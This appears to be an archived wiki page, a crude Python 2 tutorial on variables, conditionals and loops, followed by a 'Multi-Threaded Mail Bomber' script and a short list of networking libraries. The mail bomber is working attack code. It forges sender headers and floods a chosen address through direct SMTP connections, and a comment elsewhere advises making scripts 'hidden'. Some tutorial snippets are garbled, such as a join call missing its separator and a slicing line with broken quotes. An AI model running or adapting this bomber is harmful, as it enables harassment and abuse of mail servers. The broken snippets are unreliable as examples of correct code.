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This article was imported from the 2011 Insurgency Wiki backup, and sits here in its original crude format. It is in dire need of modernization and cleanup.

Python

Below applies to Python 2.6 or lower, Python 3 is a good bit different.

Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({..}).

Note: that most *nix distributions come with Python by default.

Basics

Basic python syntax

Hello World!

>>> print "HELLO WORLD!"
HELLO WORLD!

Variables

Variable names DO NOT need to begin with a special character, unlike PHP. Variable names CAN, however, be any combination, as long as the word isn't reserved (Ex: and, or, print), of letters and numbers.

>>> #Numbers
>>> a = 1 #Declare A as 1
>>> b = a+5 #b becomes 6, while a remains 1
>>> a += 5 #a is overwritten, and becomes 6
>>> c = b = a #c and b are overwritten and become 6
>>> #Strings
>>> a = "Hello "
>>> b = "There"
>>> c = a+b #JOIN STRINGS
>>> a = "Blue Yellow Green Red".split(" ") #Split the string at every " "
>>> a #Output 'a' to the screen, same as print or print()
['Blue', 'Yellow', 'Green', 'Red'] #List object, another type of variable
>>> .join(a) #Join all the list objects as one
'BlueYellowGreenRed'
>>> a = 'Blue Green Yellow Red'[0:4] #This returns the sub-string 'Blue'
>>> a = 'Blue Green Yellow Red'[5:] #This returns the sub-string 'Green Yellow Red'
>>> a = 'a = 'Blue Green Yellow Red'[::2] #This returns the sub-string Bu re elwRd'
>>> #Float 
>>> a = 88.2
>>> b = 88
>>> print a/25
3.528
>>> print b/25
3
>>> #Other types
>>> a = (" ", 355, 256.7, ["Hello", "World"])
>>> type(a)
<type 'tuple'>
>>> a = {"Hello":"World", "Key":"Value"}
>>> type(a)
<type 'dict'>
>>> a = "Anhero"
>>> del a #Its a good idea, if you're making a 'hidden' script, to delete variables after you use them...

Statements

Comparison

<       Less than
>       Greater than
==      Equal to
!=      Not equal
is      Identical
is not  Not identical
<=      Less than or equal to
>=      Greater than or equal to

If

>>> a = 1
>>> b = 2
>>> if a != b:
	print "No!"


No!
>>> a = 1
>>> b = 1
>>> if a == b:
	print "Yes!"
 
 
Yes!
>>> a = 1
>>> b = 5
>>> if (a == b-len("....")/1) and "a" == "a" or "b" == "b":
	print "Yes!"


Yes!

Loops

While

>>> a = 1
>>> while a < 5: #Note, replacing '<' with '<=' allows it to reach 5, instead of stopping at 4
print a
a += 1;

1
2
3
4
>>> a = False;
>>> while a == False:
print "False"
a = True;
 
	
False

For

>>> for x in range(0, 10):
	print x

	
0
1
2
3
4
5
6
7
8
9

Consider using xrange when dealing with larger lists, as it creates an iterator, rather than constructing the full list in memory.

>>> for x in ['Hello', 'world', ',this', 'is', 'a', 'list']:
print x

 	
Hello
world
,this
is
a
list

Examples

Multi-Threaded Mail Bomber

#CREATED BY: DUMP 
#MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE.
#INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS
import socket, datetime, time, threading;
class MailGen():
    def Engine(self, To, From, Subject, Data):
        self.lf = "\r\n";
        return "From: \""+From.split("@")[0]+"\" <"+From+">"+self.lf+"Return-Path: "+From+self.lf+"Sender: "+From+self.lf+"Recieved: "+From.split("@") [1].capitalize()+":25"+self.lf+"To: \""+To.split("@")[0]+"\" <"+To+">"+self.lf+"Subject: "+Subject+self.lf+"Date:  "+datetime.datetime.now().strftime("%a, %d %d %Y %H:%S")+self.lf+self.lf+Data
class MailBomb(threading.Thread):
    def __init__(self, To, From, Data):
        self.To = To;
        self.From = From;
        self.Data = Data;
        threading.Thread.__init__ ( self )
    def run(self):
        print "THREAD LAUNCHED";
        self.lf = "\r\n";
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
        self.connection.connect((self.To[self.To.index("@")+1:len(self.To)], 25));
        self.connection.send("HELO"+self.lf); self.connection.recv(1024);
        self.connection.send("MAIL FROM: "+self.From+self.lf); self.connection.recv(1024);
        self.connection.send("RCPT TO: "+self.To+self.lf); self.connection.recv(1024);
        self.connection.send("DATA"+self.lf); self.connection.recv(1024);
        for line in self.Data: self.connection.send(line);
        self.connection.send(self.lf+self.lf+"."+self.lf); self.connection.recv(1024);
        self.connection.send("QUIT"+self.lf); self.connection.close();
address1 = raw_input("To E-mail: ");
address2 = raw_input("From E-mail: ");
data1 = raw_input("Subject: ");
data2 = raw_input("Data: ");
generator = MailGen();
message = generator.Engine(address1, address2, data1, data2);
multiply = int(raw_input("Amount Sent (0, 5, 10...): "));
lists = [address1]*multiply;
for a in range(0, multiply, 5):
    for b in range(a, a+5):
        MailBomb(lists[b], address2, message).start();
    time.sleep(.50);

Modules

Scapy

Scapy is a powerful, low-level, networking tool

DPKT

fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.

Twisted

Twisted is an event-driven networking engine written in Python and licensed under the MIT license.

Tornado Web

Tornado is an open source version of the scalable, non-blocking web server and tools that power FriendFeed. The FriendFeed application is written using a web framework that looks a bit like web.py or Google's webapp, but with additional tools and optimizations to take advantage of the underlying non-blocking infrastructure.

tools/python.1717394333.txt.gz ยท Last modified: 2024/08/06 05:52 (external edit)

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